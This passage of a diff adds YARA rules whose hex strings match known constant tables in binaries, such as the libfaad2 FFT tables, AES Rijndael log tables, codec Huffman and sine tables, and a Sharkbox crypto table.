e8f9baa3fef4f514e4ecedb3fef5239fb6b4e8d3fef5519392e11da3fef57ef1adf9eee3fef5abbb3c78ba33fef5d7f172bfafe3fef603958511cbc3fef62ea8a78aeb03fef6592c0e17bf63fef68320ec6e0c33fef6ac887604bba3fef6d563de0c15f3fef6fdb457662593fef7257b149ed7f3fef74cb947e48333fef77370230055e3fef799a0d74eb563fef7bf4c95b7fc43fef7e4748ea8e983fef80919f20b5983fef82d3def3f14e3fef850e1b51283c3fef8740671bb98e3fef896ad52d0a663fef8b8d7854181a3fef8da8635506e33fef8fbba8e8b4743fef91c75bbc4b9c3fef93cb8e70d78d3fef95c8539ad8e53fef97bdbdc1dd8b3fef99abdf6016c43fef9b92cae1f2213fef9d7292a5b3713fef9f4b48fb10233fefa11d0022caa53fefa2e7ca4e50ef3fefa4abb99f5a553fefa668e02787263fefa81f4fe802593fefa9cf1ad124583fefab7852c215bb3fefad1b0988742d3fefaeb750dff90c3fefb04d3a7221723fefb1dcd7d5d58b3fefb3663a8f13cc3fefb4e9740e9bcb3fefb66695b19b923fefb7ddb0c15cec3fefb94ed672f69c3fefbaba17e6fa013fefbc1f862928833fefbd7f323024c33fefbed92cdd29673fefc02d86fbbdd63fefc17c51416e6d3fefc2c59c4d85c53fefc40978a8c81b3fefc547f6c52c3c3fefc68126fd9c883fefc7b51995b30c3fefc8e3deb97a883fefca0d867d30823fefcb3220dd07553fefcc51bdbceac33fefcd6c6ce846ed3fefce823e11cd963fefcf9340d341013fefd09f84ad3cb43fefd1a7190701bf3fefd2aa0d2e435c3fefd3a87056f60a3fefd4a2519b1efc3fefd597bffaa4f63fefd688ca5b25043fefd7757f87c4663fefd85dee3107bb3fefd94224ecaa8c3fefda22323576253fefdafe246b1d543fefdbd609d217793fefdca9f0937c463fefdd79e6bce3c03fefde45fa4045273fefdf0e38f3d85a3fefdfd2b091f84e3fefe0936eb906e23fefe15080eb53333fefe209f48efede3fefe2bfd6ede8313fefe372353592963fefe4211c7711cf3fefe4cc99a6f5ee3fefe574b99d3ac63fefe619891534943fefe6bb14ad82f83fefe75968e8017c3fefe7f49229ba903fefe88c9cbaddab3fefe92194c6b3013fefe9b3865b94d03fefea427d6ae6943fefeace85c90fc23fefeb57ab2d767e3fefebddf9327b653fefec617b55787e3fefece23cf6c0293fefed6049599c173fefeddbaba44fba3fefee546ee01b723fefeeca9df93f5f3fefef3e43bf015b3fefefaf6ae3b2f53feff01e1dfcb9893feff08a678295ff3feff0f451d0f0093feff15be726a0023feff1c131a5bbf03feff2243b53a3d53feff2850e1912393feff2e3b3c228d43feff34035fe838d3feff39a9e6149b83feff3f2f6613efd3feff4494758da8a3feff49d9a8658b13feff4eff90bd32b3feff5406bef55813feff58efc1af87f3feff5dbb25cf69a3feff6269767ca353feff66fb3d244d83feff6b71017acbc3feff6fcb497d8f63feff740a9974ea53feff782f73f60473feff7c3a59e4b473feff802bca759be3feff840443303343feff87c43ff0c443feff8b6c3aeaca03feff8efcacaaf6d3feff92760c198e93feff95d8ce7cb043feff9925677aa503feff9c5c491c56a3feff9f7de3cfb553feffa28aa66a3373feffa582fe2b5303feffa86756bf2733feffab381a410323feffadf5b13e0ca3feffb0a082b7fbe3feffb338f427c463feffb5bf69806063feffb834453195c3feffba97e82ac6b3feffbceab1ddd8d3feffbf2d004205e3feffc15f2fd6dee3feffc3819ba71c73feffc5949d4bc463feffc7988ceef9a3feffc98dc14f3843feffcb748fc23123feffcd4d4c380563feffcf18493e49d3feffd0d5d8033163feffd2864858aca3feffd429e8b79a13feffd5c10642f0c3feffd74beccb0173feffd8cae6d095e3feffda3e3d884323feffdba638ddaa73feffdd031f76a9b3feffde5536b6c403feffdf9cc2c24693feffe0da0681b713feffe20d43a50ef3feffe336baa72463feffe456aad0e563feffe56d523cc0b3feffe67aedd9f793feffe77fb9700103feffe87befa1db93feffe96fc9f16af3feffea5b80c2e5b3feffeb3f4b601713feffec1b5ffbd7d3feffeceff3b56663feffedbd3a9bad63feffee8367b0d3b3feffef42aced6723feffeffb3b43d5e3fefff0ad42a3cbb3fefff158f1fd7eb3fefff1fe774511b3fefff29dff75f223fefff337b6961e93fefff3cbc7b98f23fefff45a5d057cb3fefff4e39fb3b283fefff567b815d553fefff5e6cd98c093fefff66106c7c773fefff6d6894feb03fefff7477a033753fefff7b3fcdbf3d3fefff81c34ffcdf3fefff88044c33c23fefff8e04dac91b3fefff93c707729f3fefff994cd16b9c3fefff9e982ba4233fefffa3aafcf6823fefffa8872057793fefffad2e6507d23fefffb1a28ec6043fefffb5e555ffc73fefffb9f86801f73fefffbddd6729723fefffc195eb13563fefffc52380cbc23fefffc887aafe153fefffcbc3e224be3fefffced994b5f13fefffd1ca2752ca3fefffd496f4f6763fefffd7414f21d03fefffd9ca7e09d23fefffdc33c0c3963fefffde7e4d71573fefffe0ab516e1b3fefffe2bbf179a63fefffe4b149e30f3fefffe68c6eb3563fefffe84e6bd8a83fefffe9f8454fe43fefffeb8af74dc33fefffed077667543fefffee6eafbc8b3fefffefc1891e3d3feffff100e136fb3feffff22d8fb26d3feffff3486563b83feffff4522c6bcf3feffff54ba85fd03feffff635966e523feffff710ad84523feffff7dd9e72283feffff89d140e5b3feffff94fb35a933feffff9f61ba66b3feffffa90e6b1983feffffb20a8ceb93feffffba5f105203feffffc2149323e3feffffc933628f63feffffcfc37d4133feffffd5cc954ea3feffffdb56122a53feffffe067129f33feffffe5066eb453feffffe93ab98603feffffed0a432413fefffff07b1a5fd3fefffff3930e9943fefffff657b181d3fefffff8ce58d323fefffffafc1ffb23fefffffce5e9d893fefffffe906250a }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_64__flt64___64_big_1024_
+{
+strings:
+	$a0 = { 3ff000000000000000000000000000003fefd88da00000043fb917a6c000000f3fef6297bffffffd3fc8f8b84000000a3fee9f41600000043fd29406200000003fed906bbffffffd3fd87de2bffffffb3fec38b2e00000043fde2b5d3ffffffc3fea9b661ffffffc3fe1c73b400000043fe8bc805ffffffd3fe44cf3400000013fe6a09e5ffffffc3fe6a09e5ffffffc3fe44cf31fffffff3fe8bc805ffffffd3fe1c73b200000023fea9b663ffffffe3fde2b5cdfffffff3fec38b2fffffffd3fd87de2a00000023fed906bbffffffd3fd29406000000073fee9f41600000043fc8f8b7800000103fef6297dfffffff3fb917a69ffffff23fefd88da00000043ff000000000000000000000000000003fef6297bffffffd3fc8f8b84000000a3fed906bbffffffd3fd87de2bffffffb3fea9b661ffffffc3fe1c73b400000043fe6a09e5ffffffc3fe6a09e5ffffffc3fe1c73b200000023fea9b663ffffffe3fd87de2a00000023fed906bbffffffd3fc8f8b7800000103fef6297dfffffffbe6777a5bd6ad3cd3ff0000000000000bfc8f8b84000000a3fef6297bffffffdbfd87de2ffffffff3fed906bbffffffdbfe1c73b7fffffff3fea9b6600000003bfe6a09e5ffffffc3fe6a09e5ffffffcbfea9b663ffffffe3fe1c73b20000002bfed906c000000013fd87de200000001bfef6297dfffffff3fc8f8b8200000113ff000000000000000000000000000003fee9f41600000043fd29406200000003fea9b661ffffffc3fe1c73b400000043fe44cf31fffffff3fe8bc805ffffffd3fd87de2a00000023fed906bbffffffd3fb917a69ffffff23fefd88da0000004bfc8f8b84000000a3fef6297bffffffdbfde2b5d9ffffff93fec38b2e0000004bfe6a09e5ffffffc3fe6a09e5ffffffcbfec38b2e00000043fde2b5d9ffffff9bfef6297dfffffff3fc8f8b820000011bfefd88da0000004bfb917a8e0000004bfed906bbffffffdbfd87de2a0000002bfe8bc80a0000001bfe44cf2fffffffdbfe1c73abffffffcbfea9b6680000002bfd294059ffffff8bfee9f41600000043ff000000000000000000000000000003fed906bbffffffd3fd87de2bffffffb3fe6a09e5ffffffc3fe6a09e5ffffffc3fd87de2a00000023fed906bbffffffd3ff000000000000000000000000000003fe6a09e5ffffffc3fe6a09e5ffffffcbe6777a5bd6ad3cd3ff0000000000000bfe6a09e5ffffffc3fe6a09e5ffffffc3ff000000000000000000000000000003fd87de2a00000023fed906bbffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfed906bbffffffdbfd87de2a00000023ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003e499bc5cd063887bff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule huffyuv_left_rgb__8_byt_112_
+{
+strings:
+	$a0 = { 632425264788c90a0d0b130c160d1c0e210f092e2f0e0f0d182c2d0c150b130a0b0908a847262524432243254647a809090a0e0b160c180d1a0e2e0d110c1b0b140a0e090ac8674625242322234425264788e90a0b0b120c180d1c2e2d0e3d0d160c150b130a0b0908a8472625442300 }
+
+condition:
+	$a0
+}
+
+	
+rule AES_Rijndael_Alogtable__8_byt_256_
+{
+strings:
+	$a0 = { 0103050f113355ff1a2e7296a1f813355fe13848d87395a4f702060a1e2266aae5345ce43759eb266abed97090abe63153f5040c143c44cc4fd168b8d36eb2cd4cd467a9e03b4dd762a6f10818287888839eb9d06bbddc7f8198b3ce49db769ab5c457f9103050f00b1d2769bbd661a3fe192b7d8792adec2f7193aee92060a0fb163a4ed26db7c25de73256fa153f41c35ee23d47c940c05bed2c749cbfda759fbad564acef2a7e829dbcdf7a8e89809bb6c158e82365afea256fb1c843c554fc1f2163a5f407091b2d7799b0cb46ca45cf4ade798b8691a8e33e42c651f30e12365aee297b8d8c8f8a8594a7f20d17394bdd7c8497a2fd1c246cb4c752f601 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_96_128_and_sfb_64_128__avcodec___faad___32_big_48_
+{
+strings:
+	$a0 = { 00000004000000080000000c000000100000001400000018000000200000002800000030000000400000005c00000080 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab12__16_lil_254_
+{
+strings:
+	$a0 = { 8DFF9DFFB7FFD3FFE5FFEFFFF7FFFBFFFDFFFFFF770067007600FFFF57007500FDFFFFFF66004700FFFF74006500FDFFFFFF56003700FDFFFFFF730055002700F9FFFDFFFFFF72004600FFFF64001700FBFFFFFF7100FFFF07007000FFFF36006300F3FFF7FFFDFFFFFF45005400FFFF4400FFFF06000500FFFF26006200FBFFFFFF6100FFFF16006000FDFFFFFF35005300FFFF25005200EFFFF9FFFDFFFFFF15005100FFFF34004300FBFFFDFFFFFF500004002400FFFF42001400FDFFFFFF33004100FFFF23003200F5FFF9FFFBFFFDFFFFFF4000030030001300FFFF31002200FFFF12002100F9FFFBFFFDFFFFFF0200200000001100FFFF01001000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_pos__flt64___64_lil_320_
+{
+strings:
+	$a0 = { 000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f038fa2e0bf0ff03f038fa2e0bf0ff03fe04c5b428f1ff03fe04c5b428f1ff03fe04c5b428f1ff03fe04c5b428f1ff03fe04c5b428f1ff03f770ea7c45c3ff03f96cf18045b4ff03f96cf18045b4ff03fa413a9336e2ff03f770ea7c45c3ff03ffac9d401695ff03fef7b640bf28ff03fc27e2c9d3fa0f03f770ea7c45c3ff03ffac9d401695ff03fef7b640bf28ff03f07b77ddb88d1f03ffece29dab2f2f03f96cf18045b4ff03f5ce5e875b47ff03f07b77ddb88d1f03fea04e882f024f13f78639c1ac357f13ffac9d401695ff03ffd185c3b9db0f03f664cc6d32014f13f280a066df879f13ff8d8bb11a6d0f13f5ce5e875b47ff03f6743ef6e14e2f03f78639c1ac357f13ff8d8bb11a6d0f13fa67efaa9d34cf23f }
+
+condition:
+	$a0
+}
+
+	
+rule G_711_A__to_u_law_conversions__79_79___8_byt_128_
+{
+strings:
+	$a0 = { 01030507090b0d0f101112131415161718191a1b1c1d1e1f20202121222223232425262728292a2b2c2d2e2f3030313132333435363738393a3b3c3d3e3f40404142434445464748494a4b4c4d4e4f4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f }
+
+condition:
+	$a0
+}
+
+	
+rule Sine_table__32_big_1024_
+{
+strings:
+	$a0 = { 000000800000008300000086000000890000008c0000008f0000009200000095000000980000009c0000009f000000a2000000a5000000a8000000ab000000ae000000b0000000b3000000b6000000b9000000bc000000bf000000c1000000c4000000c7000000c9000000cc000000ce000000d1000000d3000000d5000000d8000000da000000dc000000de000000e0000000e2000000e4000000e6000000e8000000ea000000ec000000ed000000ef000000f0000000f2000000f3000000f5000000f6000000f7000000f8000000f9000000fa000000fb000000fc000000fc000000fd000000fe000000fe000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000fe000000fe000000fd000000fc000000fc000000fb000000fa000000f9000000f8000000f7000000f6000000f5000000f3000000f2000000f0000000ef000000ed000000ec000000ea000000e8000000e6000000e4000000e2000000e0000000de000000dc000000da000000d8000000d5000000d3000000d1000000ce000000cc000000c9000000c7000000c4000000c1000000bf000000bc000000b9000000b6000000b3000000b0000000ae000000ab000000a8000000a5000000a20000009f0000009c0000009800000095000000920000008f0000008c000000890000008600000083000000800000007c000000790000007600000073000000700000006d0000006a0000006700000063000000600000005d0000005a0000005700000054000000510000004f0000004c000000490000004600000043000000400000003e0000003b000000380000003600000033000000310000002e0000002c0000002a000000270000002500000023000000210000001f0000001d0000001b0000001900000017000000150000001300000012000000100000000f0000000d0000000c0000000a0000000900000008000000070000000600000005000000040000000300000003000000020000000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010000000200000003000000030000000400000005000000060000000700000008000000090000000a0000000c0000000d0000000f0000001000000012000000130000001500000017000000190000001b0000001d0000001f000000210000002300000025000000270000002a0000002c0000002e000000310000003300000036000000380000003b0000003e000000400000004300000046000000490000004c0000004f0000005100000054000000570000005a0000005d0000006000000063000000670000006a0000006d000000700000007300000076000000790000007c }
+
+condition:
+	$a0
+}
+
+	
+rule Sharkbox_crypto_algorithm_Dec_cbox__64_lil_8192_
+{
+strings:
+	$a0 = { f3af555ef06a12e635080b313f896c4b578dfceb840e4caa0d09b3f37b5c9bfbe25cbacca9a60845e9bdc64d06d2d1e5deed8852754383340c256be45d5084b6e8911e5a20decea8cc6afaf9469bb840ba80b0fa1aece18e450a8e40b7d677de0258452e4c183e9aef55093fd2fa93be09b939afe36ce73ac6a75e6fcfe37ead94b6f0cff5d1518b99bf433c8e8dca70c9f6a8b2f8a7dbcca422a9b574645e4c32cc1c54cdad315da756348c1e707f9b3a59fdec08cdc92a1f8ec1584884a08feac95b746cc6f0328f88bbcb25658dc5059c524bbe3c638c4b77a08aa69ecdf20e7d2eca1148ba2c789764c94d3fe3e27f5373acbf1bbef4d9299f378767de22467e1379ddc25609c78b8678e9ef61e05ba8970fd95ec81cf0dbc8679a7e333161f16ae3d1930136ebe583634acaef7f43e2413263fe3585bbac68ed3ce0fec3c8da70a5deabc4813b7525fb2ec1d66780d94d16122128a4d3e43ba10e1f18cf4d9f6ff872b68fa997c26df69fc5705c3801b8c244d5f7b0cd4622ee6097a70dc4ff1b4183fb4037ed0d4c119ee2ad24171b20e08de458f8d754b1fd962f640e5f181d53416eb4dd48033db3cc8aec25bf1ce2b1a4d08202ca82358b92b3fa1b79bbbcde6b33fcaf7be3f9f0272bc2351a129313f6b8c303db71da19cb7fe0b8184ad63dbaa0fd9976ea4a035c7759ce8a14e9809b59ee49233ff3c694612bfe1b3e4b04d0b4dc4ebc687f88cec4a3d5e004ffe2e5be36dfa2ca66c7a04c1c17f962f1c87912d40b4cb3b7ef54ba90e406e8cf72d428425be598ada95b8255532c6e051ba3258e9f6cf8d910aacf9acd8ea463dc03699288b3398955f98006b47c27ee95d50f9f23afc3d534db1087ecfcfea383c72eb787b04d146c93942763f84e29df5f1ecb4677c692147a7b4683367c9608559d4d9ca67aec9b387c60d607c41765f2245d162a86ca69770dccc458dc0a36b34ae9cbe6ec309031967484c5d3c356a5f75f7aa1befbfeca583dc0ad9b901a9708b976146fbdd9e7f0792f759ed73a36637819ce32bfd70a8386daa3e6bed08640035acf1e67c02c8f9997d1bc7e8f420726555a844f18ff52d751c163490a3dc723bb9f578c4e5aa5882b712e5d66ae5304d810df37857fc005ee73761848e24b3a42fdd27b94e122a8ca6f8c4429c0dbbb1a6a1016627ee7d896154365cec1fc66622baa127e5101d38983add02f783509736dd401078cc38580533d76b71c3e306b278f799a0c51573f4752cb6efbce49442f1a9822c931af48bd44a79fe8c8bc98ec219406b8eeb2693ee977b090fdb5ebf63307154e56716a96eeb5e1b9c96f1190067a936de12d4a7e7fabbb9917a1b94426565791da68933cb1329edce58b7142ce992545f22ac81637f8f7abe847b54fc72ad63eaeb133dfc15045534f9c79828108385e39163ef1f71070bc722c7cee79d128f4f68cf32d42dd0c852991d269648b5b14f3f941d50cf4d3da375a94b789030961b07a758469c74a8a11546554f961d2ee1a6d7da50e71a252684101871d5a73e00575b20895e1b8c560f8777acf21e70127dd786285f7dabb8720e159f0d2219546f686b5d146272da844ef5049eb8e762a11bc1ea2194f6e88bfc255d5b9c5c8167230e7c0e887179a6bc911f3ef9259cc1aa30be17c81af74d9a0fa166cf11306f5dc9c23117730b1a9fc6ea09c3ee6d7a457959a28d8d3dd4ec6b4fd9e300ba45ba2b161cc7bb598382eda5d020eed73fff53fc5afa7b6f1aaa6d4202cc4fc3b45d99372e7aa07f50c9d204b6efffe750a299acbde05e499eba7aeef0d23fd1c98a18cfc26f24f71ac12128772ab33d83b74c217d43357d3026c81f59501342d37e96541e0bf49a37df7492fe5a4ea86f368c33b0c2471df1d2129f257501d19ed1324fbe4a3664576e8b2155142df8c19f9925e3fbd21f913d0fb3ab4e6350aea91912aa2844bed32079be70612c295f4ea4096dc0b09ea1452000000000000000022132bd1b26d34b36848534c32ffe60cdcb5cd7c395bbdae5c6c806a2b7a950a41ba041c2fe60b1fb8d8f5d456f4df141cfa5c61229081582e364035ef3db005dd99156b1f57a2e3e12827f5c3b22992646d38a86faf62ba3424d326198573062167b6e8d87915648b383197bd55f104896074b9f14dcf9e66357d8623b75c2033e0c443eba12e10acb7480db104a63bff8a3ebaad3a965063a92fcd9d8b3fac60ddb2f4f79f1e7bc04f911d1bcb3cf64eebf2c118a2ae7e8dd0fee5697db35fcbaeed9cb4bfe556ab735f684320fb2d0f51f6dd3744a561d8054720a16bc16f56a124fca20253e798939b2ba881d53d6b3cce7558ebc7db5e34c5446762ab90b9f42dc370f8c0599e7b54597ca99766392d60d562d9e8fd884cacaed741d0d328de8f473b15f25e19660e2a9cace2d4e4b475be7d8e4a1e26a3a18d2a5d4872d67869eab0237b431dd68476049c9e15725ac05fc447250f5165339950260ef13d9dea89fae9943c4a5b789d8092d2bfe37062db8faa1708aa5f877f652ce460d090a698640b39185d40587d0d768a4785451f5dac1d4b289d0fc96016bdb6b137504e1f739152d1012cd817260c1f4d3094597a81b50fc76719a59105bb436d7d0b3682f303806efea6e6ad8b36891dbe303aa682dc9d4f0acda4968978c6edf2838d49d6660dab74b20f2d106f675404b08a5c98307cc1b6a5db1e47bc653813abaabc15d4243970028571885f1b9531b8816da7b9108af5479a2c244250bd25d73cb4404969a586318264c6096affa09223e9ec54228da92b1a460f38c5b7d2c8e3b62813078203749d396a1421d7a807c2512934dafa5211aea03a322f26f46b423b024e4ff0f71fdf02685a6e2703e216fddb16403b0a537411c574759ad3c82ec0692e019076e080d7e38045f44ba1ec492bec1df8efd7e3a6e8e3ca26abf6410c9e41620951d9eb7040ebd154c8ee88014b885e868afe06a47e0676dfa0fb94e512948429f2c06968896915464e72d6bbb3d6ddb53d416c9ec86c580cea04d95470d90a6b09b162ec1e6235a161a47e08477eef0e1744fedfa4feaafa312334804e34ade0d02a383db23841abfffc908e46907310b9618521a28508be32c1227d9522eddb57e8c77f03c75122869c5ebaf85e8333aaa8e0f4d7e0f1b3bbdd32243032db3fed6b54a37a5419a71fab3dcbf33d0ce135aeaf8a9faffe17c0014b151c4bf89d5e59a5931da564839b8bd47499d45c532e88094bbd09a1018211c5b029c5d0c46aa9abe1cbab092eb0d0e7cdbce73d1fa1a5351d5b3517932056e650a9e6876c87c2ff42b1ff1089161a5f27ed5f394015f849da3649797b923ab69887b669f2dd16c1db7dc127fd3ffddb9b5adb8b8d08efc31457c3a61b7cb3f4c626f4306eadc76d03dd6de27f47c3b457adb4e8147333ba257bba85b99ad5758cd075cfe941f29858ee9868621ef59c33ba9c9f5b8420e9bf6ae950b21b26a6c122a65f165868899c5e89e4f51297c42d3cc46ab75ce512968f12b702ec35f55b33f58a1d102b7328ae73b936a24723e0802357a82a0592416c92f2f61175d2d0e7d22a8cb7bf6a3ab66a2ed3cb0c9efc909e1ebd726d1bdd321b160305d33af2983ac04d02bcb70592b7d38180ad72b5bb72034518c4b03cf9b01f2dd2968f38208f922abe0e08d6a8081b728f2d3c56e63cb692c630671a5f6778eb8d918b53748b65134aff4db1624d8e42a94af6090cf6b188745c37d2713796753b7040918b40d87a23b4f0ad72f0c757a7941912181997e50d3cf9e6cff966566318c90dd5c93c8f9e58ee8601ee9c1ef5afe49f83e4068a5dbbb36ec6b324b8eb5a78ac397899d1d745b5cab8b5526760fadff00edf7cb46bf70a19820a9a943a2ee169c2e14bc0f39ec890c0c886fc434e2f5d7c2fbbe3c48cd01fcdd0ab6a2585dca231dc4721e3b5bbb86ebb3fca93641760ce17fa48a528ae178aae4464fc1e86739d86332bc5d271e7847138d0dfaa76deef76f47c6f7a91135391c96391d8a0655ca029c91c492b36282b4cdaaf7bda064fda31fe14a6e8227fe8eac1d4a7a33763a3125c7a82d8c965d8b018fb710b84970b20e7e1090cbdfc0cec4b4f2c7743fa774e0f2b5b33b92533614cbcb2bfd33abfc8f3e666814af681ff875554707a917082a3540ad182d8d11119ae257bfe067ba244b83f24d9eb249b042fd6a8b3f4a832bbfd40278bd427a091e73820b2bf206c3dd5f902cf2a0281e6e057ad45b5ad7ff1076f8df70a8d13ccbdec1e2b731e5b49718f0d20e90d56388ccf2aab3d2af6a9dc4860233460b4474d90c04668c09d8e1a7807396b07ccaca81457f1455722327ded553e6f55a3d40f804ee35d4eb5d7d61b1432f114c1dd0edeef1b14ef266dba8393dc79934885f713539a1153d50b6795520704526f78cd3db2f3d3b29ecb7bdc79312c7923a2d99b5ad1ac5a740acc63130b9a130d719869c28942c21c682667ca5feaca071a70d1acd8a0acc5829dbaf87bdaf8dc25f07cde6d1bdec6c74843fab4f0fa5dc3a4760fefc30fd7dee9e6cfa9abcf4a50ac99ccfb94cc71c58842b1a1ecb1a55e469d15afe4157baebf50a92ee1a988c8048d9b0ad19b53f73712188f0d182d96891c1059a51036e428b92544fe252177940b9a97c49ae984def4d726a6d767c67e0f43c3b443e3ef53655c75d25c02d5c3e35de8c75db8a6210847a8e04714d695553b6f8d3b7a3eb503dd3f24ddfd522c34be4e2fbe7280a3198218c982c412b26c50c82e50ee9e34f00e72d60e6dad42108ea5358e28596dc62616c1261ae2b332f13067f17d24cedfa40e08a4def0da794c2c774c3431593628641728774f491d5b4cb95bce7900000000000000009086019d1501ba735ad43e99cc3e3774e58497b72d97bfbc77be212faa21d64e6e2430eb1a305ad9ee89425ea142599c3ea37a63137a1837c15feaed55ea6b27c2bdfc108efc2b1c22ea51553b5154ed0b0dd5e98cd5e6202d6a1fb6661fe13af9cdbc8105bcf366364cb97744b9be2c783e6fccf76f6399457f03523f033b95d8c5fb29e5fbe7b01d178ace618adf60523bfd8d9bfd916ffea231760f31e0aa97e98c6a1f8ca9bfdb27edd43eeda78b56b666874a66c298e4da364f64362c067f51e23bfde27055e8b86e51e26ed9ea3892566c505698417960ce34becef023f4f14567ca459530307d957807953e5a339f8385dc837e6139ccf79419f70bfbc9b029f90229cd3ce2eb1a40271aac705b8a9f61859fa4ce5f07046b5404f73913c965d57565f90d857e48472348c308993763710b638fd20c62581e8658f5ec66cbf3ff4df3fcc2199a11c4b0118c97b6e1cbc2ffcbbd69015ea1f849a193bac76ec6e216c6eb51ca523f04d93f8d076c9887ee88878958cf8105f641054d4ab45d7cc76d7c6ee850874a88094a42ee29e784bcb784b2cd8ba0a75c37a7e5654421a2aa76a2a82f27396ba7a36b94a0b18e4635f546aea5624668f59c68af358e739daeaf9d25287502962a389605cf3c1fcd6681cdcbb6834f64486064437e24db7d5a787dd49b647744fadf442f439ce4598393594f9ff1227f95527f557d06312c0f432c8076f8931d794c1d60dc96b72d92562d3a05d17499c5fb99d2116529e50296e5bcf940ac39a0a739fbd84cce61be21610e34a6cab8ea51b8045ffa2faa7cdeaab35d694bbd1c10bd491581f3d34df2d390ff68151ce4591cdaaff64df26258f246b19f064f7e484f0fa44cf9f0f8eb5ca3a15d093f0f653d202ca7a28440eeda2b1a68cc7b4d570424d3c4ada994a5be85f79c9406624554ebf2d1ce75044d335e3f601f5d839b299459944720ac89795b78411a46cfa2a65d021b901af0713a1fdf3776b78b014f282710534c696d5a95e1ac61d2d9f2baa124486ae39f8db0fbe411f0cff78e61838d9e27f5ab7622c72af6eb8ee62126e3f9696ff8d3b43f32bfeb5b74b8058688bb652fcd7a1efeda70f3db1e1fa4f1add02596082b5f63911ef8184886b89127ee84146cc5e423ce99469925ff14073ff32875be1c16996fbd473aa661f73c299f704c11eaf67301b82ac64dd525ef436512e0bfa05e2cb939e9e8877136f0a4632ff6dd2ca0380d4c1923e939424c3307c7bdd9c375f3bf4354799a5f4a2b86cae22bd1e82a902e5d8cc74a0b280e7e1307836330b6a162f113433c3ebd17af5561bcde1d781282352d452ee5934e21943e0612db2e598ec1b9020e491a377aec77cf72da40d2634986a79f0cd755e24135c54442323904ff49c960016e8bed8801a3839ee33b166cbc329eb09fe034c5b8a18dd7f90c6c8099a4969bc083a5dbe71b4111af4760745fbaccc6564b0cf433e5a4ec67a3706271ef9274154817d422156b1be9c2f3ef324627728498660ed06df69aae084853f9bbcb185baa3182c03ebaf3c352ddb25a8a5c3fd39c42dd6eec9be3029e504eed7b9416501cfc26d8bed0546225f8d92b65ce4bc6d45509d4fee5fdc8e41016dbaea003b268c26d1c1379c0c79b7d2e7f1c54148cffd3c330f5d4bbb7ee4ad6fc8b5be1de7d7fab95e4a3326a424d148ae7aaa57d940a8e4e4a0331d82a8f7953faf96ffc8ae43b0a60d507ff5b9c52b362db4ee56ce6be3466c7dcd10212934b7a93c85dfdc15014c05f0e0bb6cda452597af11fb1f257458955a8c44a0547fb0838d168dc1d5a3826f2757bc3fa5ca5117789ddac07c2df3db364d4849a28e40b31467f0a5ac00970a5502f16a6e6c32ecaa4131fe706a33197278836735fa021e770587b49eb420a369872eb67b651490aa6cffcc8e3d37d86cd7e4572e7599a2c6803d17869a9514220776def0dcf6eff0db9de0fc929d63d82f5a279d1c61e5a5d96c8a92f62acae4aa85fb88180877fa282cf96dc72ffe223c5052d603cb5e1121d2fa2199267c002dce32fe5ba127e1eca7a4058a8f2c1be9456f961adc251471181b7482686787c8f2eabaa82348c6bb1b9ba0487041c92346ef42dcddd0cc48aa823112725fbe26c15bdc68d64c995cb35687f23b6e8850af9e583b4e1b87e53cd844f053090f985d74e29648c4ee4fdc5cc1c8e74b9c21b7852cbbe816d79ac96181d1a33996e920109b33fa59145cd6298ad1563dc90e88ddbc80f5045fe7a8cd27bb072ab193521dc0a679c3eb32d88f6a8d91d53ca811eeeb52e555eb243031b205caabc9186063640a4b2f4173e9711ae9d3785fca66ffd9ea29214b96b0d653389f7daf2add9303a735c61bd263e3b0c1ea08a09f4ed51f6bf22eee74fad0e71e3885276c9ab38310620e0ae559a749d40b9c551419d4b6e3a9501bc48b5d684faabbb4f8be70b36d7ee95aa18a92aa2630f2dd44b64aeed9f8476359519d146f0cb6e4874bc9764b7f1c8298380befbecd81788b327ea4a8854596c4ee226565839aff6e0ea6e050493136766ec5845de9e30fa37bf8c449ab4e6cc10ce9f6f96f4d365ba0f77a06bdc0b1a87491e6743a9b50691d071daf168edd6978781080de3b63749fafea38124fc3c61f480b0a60107de0de13d76f5fbfeb1f16bd94dee6be4418051c692bbb1fd80294156345e194f58b5701a9890d433cbef95033d3156572554d55cba36d53415e2743e4bc28d493af024f16a5769ea089a66bc7e398571eb98f8ec30bd911d2e7cdb22a9d55d66632bdf067a5b29dfa130a754b1aed22110c1cc8dfc0c4035a9aac1e8cfb6524bb760bba897e6b8c28f4c7c76181f03099717d6479a0000000000000000e5a8b2d89c314cacaa413277a720d5b9c19d396d2069cbdeff9b2bb60e30451f17d02f59dbfbf7100bc356991c608a3ee098222119e6028585b7ef5b0718d8f5c94e1fa3ec447b54dc2dc33304c9a09cca5e6ff43c0941e055da19c1a91090a6fd28d87f3d4669c7663fbd2dceb3e0c4766cf144a3e97525da0d239d5153d4016dfcebb4d2d36afaabe2b1e9441bc3d52ce6ad7b707537f8f2789d8147cabbbceaf8f726e6bd9ed721051b4c398fc95b6f4f187de1a5462256ca6996795daa12793cb4bad965a75e93c4439c3fd83989789f37243a5eb132e13ba1bffadd14e9af71a28e22f79b90fe38a828ed0b5373b2c158d00657f0d2efc867df636ad0fe03107057d04d3ab4cecd7c935ae519a53d16628cfe14b4757ebfd78a6fc4c5afb5423be0b0f69223c8ed9c3d0f7f6d38f4587d2f1250cf21c50e2a0a4685939b9177b0550cae1551e84b04efd5cbb20f7a2cc4ed09289dea975750fb593461cc1db0fa5e24a06b424fe980af3b119915cc7e8f5a6993357d9b176552f3f58903a18264eebb405f87f7480d78c21df5951673acc738c0e17cd64d1634fb923cce4d5a73660867b5cd08d326cecc2db08a757c811373a44f91d2de05539d7e648b02b3f3c933762cd824358bb5bc5887723b368222ab8ec0e850ea89382cc7de8f442ad6362771132b4ad91056bec6d73c20a698d2dab4df377b8f4773ea138b869807150523b8b3b76a7f88846472080b7dafa7ddbf89ff1b7c0c24435cb2e977dd8e40ade7f2b6f00ef3c66099b7c417cbfdec6adf32578c83970ff55282ac68b1d12887d61aca6618806aa7a1